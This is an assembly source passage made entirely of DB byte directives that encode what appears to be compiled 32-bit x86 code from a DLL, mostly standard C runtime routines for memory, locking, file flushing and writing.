DB 001H,000H,000H,000H,0FFH,025H,0B4H,0C1H,000H,010H,083H,0F8H,0FDH,075H,010H
DB 0C7H,005H,01CH,052H,000H,010H,001H,000H,000H,000H,0FFH,025H,0B0H,0C1H,000H
DB 010H,083H,0F8H,0FCH,075H,00FH,0C7H,005H,01CH,052H,000H,010H,001H,000H,000H
DB 000H,0A1H,0D8H,057H,000H,010H,0C3H,0CCH,0CCH,0CCH,08BH,044H,024H,004H,02DH
DB 0A4H,003H,000H,000H,083H,0F8H,012H,077H,00FH,033H,0C9H,08AH,088H,05CH,023H
DB 000H,010H,0FFH,024H,08DH,048H,023H,000H,010H,033H,0C0H,0C3H,0B8H,011H,004H
DB 000H,000H,0C3H,0B8H,004H,008H,000H,000H,0C3H,0B8H,012H,004H,000H,000H,0C3H
DB 0B8H,004H,004H,000H,000H,0C3H,030H,023H,000H,010H,036H,023H,000H,010H,03CH
DB 023H,000H,010H,042H,023H,000H,010H,02DH,023H,000H,010H,000H,004H,004H,004H
DB 001H,004H,004H,004H,004H,004H,004H,004H,004H,004H,004H,004H,004H,002H,003H
DB 0CCH,057H,033H,0C0H,0BFH,000H,051H,000H,010H,0B9H,040H,000H,000H,000H,0F3H
DB 0ABH,0AAH,0A3H,010H,052H,000H,010H,0B9H,010H,052H,000H,010H,05FH,0A3H,004H
DB 052H,000H,010H,0A3H,008H,052H,000H,010H,089H,041H,004H,089H,041H,008H,0C3H
DB 0CCH,0CCH,0CCH,0CCH,06AH,0FDH,0E8H,0E9H,0FCH,0FFH,0FFH,083H,0C4H,004H,0C3H
DB 0CCH,0CCH,0CCH,0CCH,0CCH,083H,0ECH,004H,083H,03DH,01CH,053H,000H,010H,000H
DB 053H,056H,057H,055H,075H,040H,08BH,035H,0C4H,0C1H,000H,010H,0FFH,0D6H,08BH
DB 0F8H,085H,0FFH,074H,010H,0C7H,005H,01CH,053H,000H,010H,001H,000H,000H,000H
DB 08BH,05CH,024H,010H,0EBH,030H,0FFH,015H,0BCH,0C1H,000H,010H,08BH,0D8H,085H
DB 0DBH,074H,00CH,0C7H,005H,01CH,053H,000H,010H,002H,000H,000H,000H,0EBH,018H
DB 033H,0C0H,05DH,05FH,05EH,05BH,083H,0C4H,004H,0C3H,08BH,07CH,024H,010H,08BH
DB 05CH,024H,010H,08BH,035H,0C4H,0C1H,000H,010H,083H,03DH,01CH,053H,000H,010H
DB 001H,00FH,085H,0A2H,000H,000H,000H,085H,0FFH,075H,012H,0FFH,0D6H,08BH,0F8H
DB 085H,0FFH,075H,00AH,033H,0C0H,05DH,05FH,05EH,05BH,083H,0C4H,004H,0C3H,066H
DB 083H,03FH,000H,08BH,0F7H,074H,012H,083H,0C6H,002H,066H,083H,03EH,000H,075H
DB 0F7H,083H,0C6H,002H,066H,083H,03EH,000H,075H,0EEH,02BH,0F7H,06AH,000H,0C1H
DB 0FEH,001H,06AH,000H,046H,06AH,000H,06AH,000H,056H,057H,06AH,000H,06AH,000H
DB 0FFH,015H,0C8H,0C1H,000H,010H,08BH,0E8H,085H,0EDH,074H,041H,055H,0E8H,0AFH
DB 005H,000H,000H,083H,0C4H,004H,08BH,0D8H,085H,0DBH,074H,032H,06AH,000H,06AH
DB 000H,055H,053H,056H,057H,06AH,000H,06AH,000H,0FFH,015H,0C8H,0C1H,000H,010H
DB 085H,0C0H,075H,00BH,053H,0E8H,06AH,005H,000H,000H,083H,0C4H,004H,033H,0DBH
DB 057H,0FFH,015H,0C0H,0C1H,000H,010H,08BH,0C3H,05DH,05FH,05EH,05BH,083H,0C4H
DB 004H,0C3H,057H,0FFH,015H,0C0H,0C1H,000H,010H,033H,0C0H,05DH,05FH,05EH,05BH
DB 083H,0C4H,004H,0C3H,083H,03DH,01CH,053H,000H,010H,002H,075H,07BH,085H,0DBH
DB 075H,016H,0FFH,015H,0BCH,0C1H,000H,010H,08BH,0D8H,085H,0DBH,075H,00AH,033H
DB 0C0H,05DH,05FH,05EH,05BH,083H,0C4H,004H,0C3H,08BH,0EBH,080H,03BH,000H,074H
DB 00EH,045H,080H,07DH,000H,000H,075H,0F9H,045H,080H,07DH,000H,000H,075H,0F2H
DB 02BH,0EBH,045H,055H,0E8H,022H,005H,000H,000H,089H,044H,024H,014H,083H,0C4H
DB 004H,085H,0C0H,075H,011H,053H,0FFH,015H,0B8H,0C1H,000H,010H,033H,0C0H,05DH
DB 05FH,05EH,05BH,083H,0C4H,004H,0C3H,08BH,07CH,024H,010H,08BH,0F3H,08BH,0CDH
DB 0C1H,0E9H,002H,0F3H,0A5H,08BH,0CDH,053H,083H,0E1H,003H,0F3H,0A4H,0FFH,015H
DB 0B8H,0C1H,000H,010H,08BH,044H,024H,010H,05DH,05FH,05EH,05BH,083H,0C4H,004H
DB 0C3H,033H,0C0H,05DH,05FH,05EH,05BH,083H,0C4H,004H,0C3H,0CCH,0CCH,0CCH,0CCH
DB 0CCH,08BH,044H,024H,004H,0A3H,070H,050H,000H,010H,0C3H,0CCH,0CCH,0CCH,0CCH
DB 0CCH,0CCH,0A1H,06CH,050H,000H,010H,083H,0F8H,001H,074H,00DH,085H,0C0H,075H
DB 02EH,083H,03DH,070H,050H,000H,010H,001H,075H,025H,068H,0FCH,000H,000H,000H
DB 0E8H,01FH,000H,000H,000H,083H,0C4H,004H,0A1H,010H,056H,000H,010H,085H,0C0H
DB 074H,002H,0FFH,0D0H,068H,0FFH,000H,000H,000H,0E8H,007H,000H,000H,000H,083H
DB 0C4H,004H,0C3H,0CCH,0CCH,0CCH,081H,0ECH,0A8H,001H,000H,000H,033H,0C0H,0B9H
DB 088H,055H,000H,010H,053H,08BH,094H,024H,0B0H,001H,000H,000H,056H,057H,055H
DB 039H,011H,074H,00CH,083H,0C1H,008H,040H,081H,0F9H,010H,056H,000H,010H,072H
DB 0F0H,039H,014H,0C5H,088H,055H,000H,010H,08DH,01CH,0C5H,000H,000H,000H,000H
DB 00FH,085H,0A7H,001H,000H,000H,083H,03DH,06CH,050H,000H,010H,001H,00FH,084H
DB 05FH,001H,000H,000H,083H,03DH,06CH,050H,000H,010H,000H,075H,00DH,083H,03DH
DB 070H,050H,000H,010H,001H,00FH,084H,049H,001H,000H,000H,081H,0FAH,0FCH,000H
DB 000H,000H,00FH,084H,078H,001H,000H,000H,08DH,084H,024H,0B4H,000H,000H,000H
DB 068H,004H,001H,000H,000H,050H,08BH,02DH,05CH,0C1H,000H,010H,06AH,000H,0FFH
DB 0D5H,085H,0C0H,075H,016H,0BEH,060H,056H,000H,010H,08DH,0BCH,024H,0B4H,000H
DB 000H,000H,0B9H,005H,000H,000H,000H,0F3H,0A5H,066H,0A5H,0A4H,08DH,0ACH,024H
DB 0B4H,000H,000H,000H,08DH,0BCH,024H,0B4H,000H,000H,000H,0B9H,0FFH,0FFH,0FFH
DB 0FFH,02BH,0C0H,0F2H,0AEH,0F7H,0D1H,083H,0F9H,03CH,076H,026H,08DH,0BCH,024H
DB 0B4H,000H,000H,000H,0B9H,0FFH,0FFH,0FFH,0FFH,02BH,0C0H,06AH,003H,0F2H,0AEH
DB 0F7H,0D1H,08DH,06CH,00CH,07CH,068H,05CH,056H,000H,010H,055H,0E8H,0C3H,004H
DB 000H,000H,083H,0C4H,00CH,0BEH,040H,056H,000H,010H,08DH,07CH,024H,014H,0B9H
DB 006H,000H,000H,000H,0F3H,0A5H,066H,0A5H,08BH,0FDH,0B9H,0FFH,0FFH,0FFH,0FFH
DB 02BH,0C0H,0F2H,0AEH,0F7H,0D1H,02BH,0F9H,08BH,0D1H,08BH,0F7H,0B9H,0FFH,0FFH
DB 0FFH,0FFH,08DH,07CH,024H,014H,02BH,0C0H,0F2H,0AEH,04FH,08BH,0CAH,0C1H,0E9H
DB 002H,0F3H,0A5H,08BH,0CAH,083H,0E1H,003H,0F3H,0A4H,0BFH,03CH,056H,000H,010H
DB 0B9H,0FFH,0FFH,0FFH,0FFH,02BH,0C0H,0F2H,0AEH,0F7H,0D1H,02BH,0F9H,08BH,0D1H
DB 08BH,0F7H,0B9H,0FFH,0FFH,0FFH,0FFH,08DH,07CH,024H,014H,02BH,0C0H,0F2H,0AEH
DB 04FH,08BH,0CAH,0C1H,0E9H,002H,0F3H,0A5H,08BH,0CAH,083H,0E1H,003H,0F3H,0A4H
DB 08BH,0BBH,08CH,055H,000H,010H,0B9H,0FFH,0FFH,0FFH,0FFH,02BH,0C0H,0F2H,0AEH
DB 0F7H,0D1H,02BH,0F9H,08BH,0F7H,08BH,0D1H,08DH,07CH,024H,014H,0B9H,0FFH,0FFH
DB 0FFH,0FFH,02BH,0C0H,0F2H,0AEH,04FH,08BH,0CAH,0C1H,0E9H,002H,0F3H,0A5H,08BH
DB 0CAH,068H,010H,020H,001H,000H,083H,0E1H,003H,068H,014H,056H,000H,010H,0F3H
DB 0A4H,08DH,044H,024H,01CH,050H,0E8H,066H,003H,000H,000H,083H,0C4H,00CH,05DH
DB 05FH,05EH,05BH,081H,0C4H,0A8H,001H,000H,000H,0C3H,0A1H,030H,0B4H,000H,010H
DB 08BH,070H,048H,083H,0FEH,0FFH,075H,00AH,06AH,0F4H,0FFH,015H,09CH,0C1H,000H
DB 010H,08BH,0F0H,08BH,093H,08CH,055H,000H,010H,06AH,000H,08DH,044H,024H,014H
DB 08BH,0FAH,050H,0B9H,0FFH,0FFH,0FFH,0FFH,02BH,0C0H,0F2H,0AEH,0F7H,0D1H,049H
DB 051H,052H,056H,0FFH,015H,0CCH,0C1H,000H,010H,05DH,05FH,05EH,05BH,081H,0C4H
DB 0A8H,001H,000H,000H,0C3H,0CCH,0CCH,056H,0A1H,0BCH,056H,000H,010H,050H,08BH
DB 035H,0D0H,0C1H,000H,010H,0FFH,0D6H,08BH,00DH,0ACH,056H,000H,010H,051H,0FFH
DB 0D6H,0A1H,09CH,056H,000H,010H,050H,0FFH,0D6H,0A1H,07CH,056H,000H,010H,050H
DB 0FFH,0D6H,05EH,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,053H,056H,057H,08BH,035H
DB 0A4H,0C1H,000H,010H,033H,0FFH,08DH,01CH,0BDH,078H,056H,000H,010H,08BH,003H
DB 085H,0C0H,074H,022H,083H,0FFH,011H,074H,01DH,083H,0FFH,00DH,074H,018H,083H
DB 0FFH,009H,074H,013H,083H,0FFH,001H,074H,00EH,050H,0FFH,0D6H,08BH,003H,050H
DB 0E8H,009H,002H,000H,000H,083H,0C4H,004H,047H,083H,0FFH,030H,07CH,0CBH,0A1H
DB 09CH,056H,000H,010H,050H,0FFH,0D6H,0A1H,0ACH,056H,000H,010H,050H,0FFH,0D6H
DB 0A1H,0BCH,056H,000H,010H,050H,0FFH,0D6H,0A1H,07CH,056H,000H,010H,050H,0FFH
DB 0D6H,05FH,05EH,05BH,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH
DB 0CCH,0CCH,055H,08BH,044H,024H,008H,08BH,0ECH,056H,057H,08DH,03CH,085H,078H
DB 056H,000H,010H,083H,03FH,000H,075H,046H,06AH,018H,0E8H,0D4H,001H,000H,000H
DB 083H,0C4H,004H,08BH,0F0H,085H,0F6H,075H,00AH,06AH,011H,0E8H,024H,0EFH,0FFH
DB 0FFH,083H,0C4H,004H,06AH,011H,0E8H,0CAH,0FFH,0FFH,0FFH,083H,0C4H,004H,083H
DB 03FH,000H,056H,075H,00AH,0FFH,015H,0D0H,0C1H,000H,010H,089H,037H,0EBH,008H
DB 0E8H,082H,001H,000H,000H,083H,0C4H,004H,06AH,011H,0E8H,018H,000H,000H,000H
DB 083H,0C4H,004H,08BH,007H,050H,0FFH,015H,0D4H,0C1H,000H,010H,05FH,05EH,05DH
DB 0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,055H,08BH,044H,024H,008H,08BH
DB 0ECH,08BH,00CH,085H,078H,056H,000H,010H,051H,0FFH,015H,0D8H,0C1H,000H,010H
DB 05DH,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,055H,08BH,044H,024H
DB 008H,08BH,0ECH,03DH,028H,058H,000H,010H,072H,01CH,03DH,088H,05AH,000H,010H
DB 077H,015H,02DH,028H,058H,000H,010H,0C1H,0F8H,005H,083H,0C0H,01CH,050H,0E8H
DB 04AH,0FFH,0FFH,0FFH,08BH,0E5H,05DH,0C3H,083H,0C0H,020H,050H,0FFH,015H,0D4H
DB 0C1H,000H,010H,05DH,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH
DB 055H,08BH,044H,024H,008H,08BH,0ECH,083H,0F8H,014H,07DH,00DH,083H,0C0H,01CH
DB 050H,0E8H,01BH,0FFH,0FFH,0FFH,08BH,0E5H,05DH,0C3H,08BH,045H,00CH,083H,0C0H
DB 020H,050H,0FFH,015H,0D4H,0C1H,000H,010H,05DH,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH
DB 0CCH,0CCH,0CCH,055H,08BH,044H,024H,008H,08BH,0ECH,03DH,028H,058H,000H,010H
DB 072H,01CH,03DH,088H,05AH,000H,010H,077H,015H,02DH,028H,058H,000H,010H,0C1H
DB 0F8H,005H,083H,0C0H,01CH,050H,0E8H,04AH,0FFH,0FFH,0FFH,08BH,0E5H,05DH,0C3H
DB 083H,0C0H,020H,050H,0FFH,015H,0D8H,0C1H,000H,010H,05DH,0C3H,0CCH,0CCH,0CCH
DB 0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,055H,08BH,044H,024H,008H,08BH,0ECH,083H
DB 0F8H,014H,07DH,00DH,083H,0C0H,01CH,050H,0E8H,01BH,0FFH,0FFH,0FFH,08BH,0E5H
DB 05DH,0C3H,08BH,045H,00CH,083H,0C0H,020H,050H,0FFH,015H,0D8H,0C1H,000H,010H
DB 05DH,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,056H,057H,08BH,07CH,024H
DB 010H,00FH,0AFH,07CH,024H,00CH,085H,0FFH,075H,005H,0BFH,001H,000H,000H,000H
DB 08BH,035H,0DCH,0C1H,000H,010H,0A1H,030H,0B5H,000H,010H,083H,0FFH,0E0H,076H
DB 004H,033H,0C0H,0EBH,006H,057H,06AH,008H,050H,0FFH,0D6H,085H,0C0H,075H,01DH
DB 083H,03DH,0ACH,05AH,000H,010H,000H,074H,014H,057H,0E8H,07FH,002H,000H,000H
DB 083H,0C4H,004H,085H,0C0H,0A1H,030H,0B5H,000H,010H,075H,0D2H,033H,0C0H,05FH
DB 05EH,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH
DB 0CCH,08BH,044H,024H,004H,085H,0C0H,074H,00FH,050H,06AH,000H,0A1H,030H,0B5H
DB 000H,010H,050H,0FFH,015H,0E0H,0C1H,000H,010H,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH
DB 0CCH,0CCH,0CCH,0A1H,0ACH,05AH,000H,010H,08BH,04CH,024H,004H,050H,051H,0E8H
DB 010H,000H,000H,000H,083H,0C4H,008H,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH
DB 0CCH,0CCH,0CCH,0CCH,0CCH,056H,057H,08BH,07CH,024H,00CH,083H,0FFH,0E0H,076H
DB 005H,033H,0C0H,05FH,05EH,0C3H,085H,0FFH,075H,005H,0BFH,001H,000H,000H,000H
DB 08BH,074H,024H,010H,057H,0E8H,01DH,000H,000H,000H,083H,0C4H,004H,085H,0C0H
DB 075H,013H,085H,0F6H,074H,00FH,057H,0E8H,0ECH,001H,000H,000H,083H,0C4H,004H
DB 085H,0C0H,075H,0E2H,033H,0C0H,05FH,05EH,0C3H,08BH,044H,024H,004H,08BH,00DH
DB 030H,0B5H,000H,010H,050H,06AH,000H,051H,0FFH,015H,0DCH,0C1H,000H,010H,0C3H
DB 0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,053H,056H,057H,033H
DB 0F6H,039H,035H,0DCH,057H,000H,010H,075H,042H,068H,018H,058H,000H,010H,0FFH
DB 015H,0E4H,0C1H,000H,010H,08BH,0F8H,085H,0FFH,074H,06EH,068H,00CH,058H,000H
DB 010H,08BH,01DH,064H,0C1H,000H,010H,057H,0FFH,0D3H,0A3H,0DCH,057H,000H,010H
DB 085H,0C0H,074H,057H,068H,0FCH,057H,000H,010H,057H,0FFH,0D3H,068H,0E8H,057H
DB 000H,010H,0A3H,0E0H,057H,000H,010H,057H,0FFH,0D3H,0A3H,0E4H,057H,000H,010H
DB 0A1H,0E0H,057H,000H,010H,085H,0C0H,074H,004H,0FFH,0D0H,08BH,0F0H,085H,0F6H
DB 074H,012H,083H,03DH,0E4H,057H,000H,010H,000H,074H,009H,056H,0FFH,015H,0E4H
DB 057H,000H,010H,08BH,0F0H,08BH,044H,024H,018H,08BH,04CH,024H,014H,08BH,054H
DB 024H,010H,050H,051H,052H,056H,0FFH,015H,0DCH,057H,000H,010H,05FH,05EH,05BH
DB 0C3H,033H,0C0H,05FH,05EH,05BH,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH
DB 0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,055H,08BH,0ECH,057H,056H,08BH,07DH,008H,08BH
DB 075H,00CH,08BH,0D7H,08BH,04DH,010H,0E3H,00CH,0ACH,00AH,0C0H,074H,003H,0AAH
DB 0E2H,0F8H,032H,0C0H,0F3H,0AAH,08BH,0C2H,05EH,05FH,0C9H,0C3H,0CCH,0CCH,0CCH
DB 0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,083H,03DH,018H,0A4H,000H,010H
DB 000H,056H,075H,00CH,0C7H,005H,018H,0A4H,000H,010H,000H,002H,000H,000H,0EBH
DB 013H,083H,03DH,018H,0A4H,000H,010H,014H,07DH,00AH,0C7H,005H,018H,0A4H,000H
DB 010H,014H,000H,000H,000H,06AH,004H,0A1H,018H,0A4H,000H,010H,050H,0E8H,0FAH
DB 0FDH,0FFH,0FFH,083H,0C4H,008H,0A3H,01CH,0A4H,000H,010H,085H,0C0H,075H,029H
DB 0C7H,005H,018H,0A4H,000H,010H,014H,000H,000H,000H,06AH,004H,06AH,014H,0E8H
DB 0DBH,0FDH,0FFH,0FFH,083H,0C4H,008H,0A3H,01CH,0A4H,000H,010H,085H,0C0H,075H
DB 00AH,06AH,01AH,0E8H,0A8H,0EBH,0FFH,0FFH,083H,0C4H,004H,0B9H,028H,058H,000H
DB 010H,033H,0C0H,08BH,015H,01CH,0A4H,000H,010H,083H,0C0H,004H,089H,04CH,002H
DB 0FCH,083H,0C1H,020H,083H,0F8H,050H,07CH,0EBH,033H,0D2H,0BEH,038H,058H,000H
DB 010H,08BH,0C2H,08BH,0CAH,083H,0E0H,0E7H,083H,0E1H,01FH,0C1H,0F8H,003H,0C1H
DB 0E1H,002H,08BH,080H,030H,0B4H,000H,010H,08DH,00CH,0C9H,08BH,004H,008H,083H
DB 0F8H,0FFH,074H,004H,085H,0C0H,075H,006H,0C7H,006H,0FFH,0FFH,0FFH,0FFH,083H
DB 0C6H,020H,042H,081H,0FEH,098H,058H,000H,010H,072H,0C9H,05EH,0C3H,0CCH,0CCH
DB 0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0E8H,0ABH,001H,000H,000H,080H,03DH,0C4H
DB 050H,000H,010H,000H,074H,005H,0E9H,04DH,000H,000H,000H,0C3H,0CCH,0CCH,0CCH
DB 0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,06AH,009H,0E8H,0C9H,0FBH,0FFH
DB 0FFH,083H,0C4H,004H,0A1H,028H,060H,000H,010H,085H,0C0H,074H,01EH,08BH,04CH
DB 024H,004H,051H,0FFH,0D0H,083H,0C4H,004H,085H,0C0H,074H,010H,06AH,009H,0E8H
DB 018H,0FCH,0FFH,0FFH,083H,0C4H,004H,0B8H,001H,000H,000H,000H,0C3H,06AH,009H
DB 0E8H,008H,0FCH,0FFH,0FFH,083H,0C4H,004H,033H,0C0H,0C3H,0CCH,0CCH,053H,056H
DB 057H,033H,0F6H,055H,0BFH,003H,000H,000H,000H,06AH,002H,0E8H,07EH,0FBH,0FFH
DB 0FFH,083H,0C4H,004H,039H,03DH,018H,0A4H,000H,010H,07EH,06AH,0BDH,00CH,000H
DB 000H,000H,08BH,01DH,0A4H,0C1H,000H,010H,0A1H,01CH,0A4H,000H,010H,08BH,004H
DB 028H,085H,0C0H,074H,047H,0F6H,040H,00CH,083H,074H,00FH,050H,0E8H,0E0H,001H
DB 000H,000H,083H,0C4H,004H,083H,0F8H,0FFH,074H,001H,046H,083H,0FDH,050H,07CH
DB 02DH,0A1H,01CH,0A4H,000H,010H,08BH,004H,028H,083H,0C0H,020H,050H,0FFH,0D3H
DB 08BH,00DH,01CH,0A4H,000H,010H,08BH,014H,029H,052H,0E8H,0F5H,0FCH,0FFH,0FFH
DB 083H,0C4H,004H,08BH,00DH,01CH,0A4H,000H,010H,0C7H,004H,029H,000H,000H,000H
DB 000H,083H,0C5H,004H,047H,03BH,03DH,018H,0A4H,000H,010H,07CH,0A1H,06AH,002H
DB 0E8H,072H,0FBH,0FFH,0FFH,083H,0C4H,004H,08BH,0C6H,05DH,05FH,05EH,05BH,0C3H
DB 0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,056H,08BH,074H,024H,008H,056H,0E8H
DB 035H,000H,000H,000H,083H,0C4H,004H,085H,0C0H,074H,007H,0B8H,0FFH,0FFH,0FFH
DB 0FFH,05EH,0C3H,0F6H,046H,00DH,040H,074H,019H,08BH,046H,010H,050H,0E8H,0F8H
DB 001H,000H,000H,083H,0C4H,004H,083H,0F8H,001H,0B8H,000H,000H,000H,000H,05EH
DB 083H,0D0H,0FFH,0C3H,033H,0C0H,05EH,0C3H,0CCH,0CCH,0CCH,0CCH,053H,056H,08BH
DB 074H,024H,00CH,057H,033H,0FFH,08BH,046H,00CH,08BH,0C8H,080H,0E1H,003H,080H
DB 0F9H,002H,075H,03CH,0A9H,008H,001H,000H,000H,074H,035H,08BH,046H,008H,08BH
DB 01EH,02BH,0D8H,085H,0DBH,07EH,02AH,053H,050H,08BH,046H,010H,050H,0E8H,05DH
DB 002H,000H,000H,083H,0C4H,00CH,03BH,0C3H,075H,00FH,08BH,046H,00CH,0A8H,080H
DB 074H,011H,083H,0E0H,0FDH,089H,046H,00CH,0EBH,009H,083H,04EH,00CH,020H,0BFH
DB 0FFH,0FFH,0FFH,0FFH,08BH,046H,008H,089H,006H,08BH,0C7H,0C7H,046H,004H,000H
DB 000H,000H,000H,05FH,05EH,05BH,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH
DB 0CCH,0CCH,0CCH,0CCH,06AH,001H,0E8H,009H,000H,000H,000H,083H,0C4H,004H,0C3H
DB 0CCH,0CCH,0CCH,0CCH,0CCH,083H,0ECH,004H,053H,056H,057H,055H,033H,0FFH,06AH
DB 002H,033H,0F6H,033H,0DBH,089H,07CH,024H,014H,0E8H,018H,0FAH,0FFH,0FFH,08BH
DB 06CH,024H,01CH,083H,0C4H,004H,0A1H,01CH,0A4H,000H,010H,08BH,004H,018H,085H
DB 0C0H,074H,065H,0F6H,040H,00CH,083H,074H,05FH,050H,056H,0E8H,0C8H,0FAH,0FFH
DB 0FFH,083H,0C4H,008H,0A1H,01CH,0A4H,000H,010H,08BH,00CH,018H,08BH,041H,00CH
DB 0A8H,083H,074H,034H,083H,0FDH,001H,075H,011H,051H,0E8H,0EBH,0FEH,0FFH,0FFH
DB 083H,0C4H,004H,083H,0F8H,0FFH,074H,021H,047H,0EBH,01EH,085H,0EDH,075H,01AH
DB 0A8H,002H,074H,016H,051H,0E8H,0D2H,0FEH,0FFH,0FFH,083H,0C4H,004H,083H,0F8H
DB 0FFH,075H,008H,0C7H,044H,024H,010H,0FFH,0FFH,0FFH,0FFH,0A1H,01CH,0A4H,000H
DB 010H,08BH,00CH,018H,051H,056H,0E8H,0E3H,0FAH,0FFH,0FFH,083H,0C4H,008H,083H
DB 0C3H,004H,046H,081H,0FBH,000H,008H,000H,000H,07CH,083H,06AH,002H,0E8H,0FDH
DB 0F9H,0FFH,0FFH,083H,0C4H,004H,08BH,0C7H,083H,0FDH,001H,074H,004H,08BH,044H
DB 024H,010H,05DH,05FH,05EH,05BH,083H,0C4H,004H,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH
DB 0CCH,0CCH,056H,057H,0BFH,0FFH,0FFH,0FFH,0FFH,08BH,074H,024H,00CH,0F6H,046H
DB 00CH,040H,074H,00CH,0C7H,046H,00CH,000H,000H,000H,000H,08BH,0C7H,05FH,05EH
DB 0C3H,056H,0E8H,0DDH,0F9H,0FFH,0FFH,083H,0C4H,004H,056H,0E8H,014H,000H,000H
DB 000H,083H,0C4H,004H,08BH,0F8H,056H,0E8H,039H,0FAH,0FFH,0FFH,083H,0C4H,004H
DB 08BH,0C7H,05FH,05EH,0C3H,0CCH,056H,057H,0BFH,0FFH,0FFH,0FFH,0FFH,08BH,074H
DB 024H,00CH,0F6H,046H,00CH,083H,074H,042H,056H,0E8H,069H,0FEH,0FFH,0FFH,083H
DB 0C4H,004H,08BH,0F8H,056H,0E8H,0AEH,004H,000H,000H,083H,0C4H,004H,08BH,046H
DB 010H,050H,0E8H,0A2H,003H,000H,000H,083H,0C4H,004H,085H,0C0H,07DH,007H,0BFH
DB 0FFH,0FFH,0FFH,0FFH,0EBH,017H,08BH,046H,01CH,085H,0C0H,074H,010H,050H,0E8H
DB 0B7H,0FAH,0FFH,0FFH,0C7H,046H,01CH,000H,000H,000H,000H,083H,0C4H,004H,0C7H
DB 046H,00CH,000H,000H,000H,000H,08BH,0C7H,05FH,05EH,0C3H,0CCH,053H,056H,08BH
DB 074H,024H,00CH,057H,039H,035H,020H,0B4H,000H,010H,076H,07FH,08BH,0C6H,083H
DB 0E0H,0E7H,0C1H,0F8H,003H,08DH,098H,030H,0B4H,000H,010H,08BH,0C6H,083H,0E0H
DB 01FH,08BH,00BH,0C1H,0E0H,002H,08DH,03CH,0C0H,0F6H,044H,039H,004H,001H,074H
DB 05DH,056H,0E8H,009H,006H,000H,000H,083H,0C4H,004H,08BH,003H,0F6H,044H,038H
DB 004H,001H,074H,02CH,056H,0BFH,000H,000H,000H,000H,0E8H,0A2H,005H,000H,000H
DB 083H,0C4H,004H,050H,0FFH,015H,0E8H,0C1H,000H,010H,085H,0C0H,075H,008H,0FFH
DB 015H,048H,0C1H,000H,010H,08BH,0F8H,085H,0FFH,074H,017H,0E8H,0D3H,004H,000H
DB 000H,089H,038H,0BFH,0FFH,0FFH,0FFH,0FFH,0E8H,0B7H,004H,000H,000H,0C7H,000H
DB 009H,000H,000H,000H,056H,0E8H,02BH,006H,000H,000H,083H,0C4H,004H,08BH,0C7H
DB 05FH,05EH,05BH,0C3H,0E8H,09DH,004H,000H,000H,05FH,0C7H,000H,009H,000H,000H
DB 000H,0B8H,0FFH,0FFH,0FFH,0FFH,05EH,05BH,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH
DB 0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,056H,057H,08BH,074H,024H,00CH,039H
DB 035H,020H,0B4H,000H,010H,076H,04CH,08BH,0C6H,08BH,0CEH,083H,0E0H,0E7H,083H
DB 0E1H,01FH,0C1H,0F8H,003H,0C1H,0E1H,002H,08BH,090H,030H,0B4H,000H,010H,08DH
DB 004H,0C9H,0F6H,044H,002H,004H,001H,074H,02CH,056H,0E8H,05CH,005H,000H,000H
DB 08BH,044H,024H,018H,08BH,04CH,024H,014H,083H,0C4H,004H,050H,051H,056H,0E8H
DB 039H,000H,000H,000H,083H,0C4H,00CH,08BH,0F8H,056H,0E8H,0AEH,005H,000H,000H
DB 083H,0C4H,004H,08BH,0C7H,05FH,05EH,0C3H,0E8H,021H,004H,000H,000H,0C7H,000H
DB 009H,000H,000H,000H,0E8H,026H,004H,000H,000H,05FH,0C7H,000H,000H,000H,000H
DB 000H,0B8H,0FFH,0FFH,0FFH,0FFH,05EH,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH
DB 0CCH,081H,0ECH,018H,004H,000H,000H,053H,056H,057H,055H,033H,0FFH,08BH,0ACH
DB 024H,034H,004H,000H,000H,089H,07CH,024H,020H,03BH,0EFH,075H,00DH,033H,0C0H
DB 05DH,05FH,05EH,05BH,081H,0C4H,018H,004H,000H,000H,0C3H,08BH,094H,024H,02CH
DB 004H,000H,000H,08BH,0C2H,083H,0E0H,0E7H,0C1H,0F8H,003H,005H,030H,0B4H,000H
DB 010H,089H,044H,024H,018H,08BH,0C2H,083H,0E0H,01FH,08BH,05CH,024H,018H,0C1H
DB 0E0H,002H,08DH,00CH,0C0H,08BH,003H,089H,04CH,024H,01CH,0F6H,044H,008H,004H
DB 020H,074H,00DH,06AH,002H,06AH,000H,052H,0E8H,04AH,005H,000H,000H,083H,0C4H
DB 00CH,08BH,044H,024H,018H,08BH,04CH,024H,01CH,003H,008H,0F6H,041H,004H,080H
DB 00FH,084H,088H,000H,000H,000H,0C7H,044H,024H,010H,000H,000H,000H,000H,08BH
DB 09CH,024H,030H,004H,000H,000H,08BH,0C3H,02BH,084H,024H,030H,004H,000H,000H
DB 03BH,0C5H,00FH,083H,0A1H,000H,000H,000H,08DH,074H,024H,024H,08BH,0C3H,02BH
DB 084H,024H,030H,004H,000H,000H,03BH,0C5H,073H,01EH,08AH,003H,043H,03CH,00AH
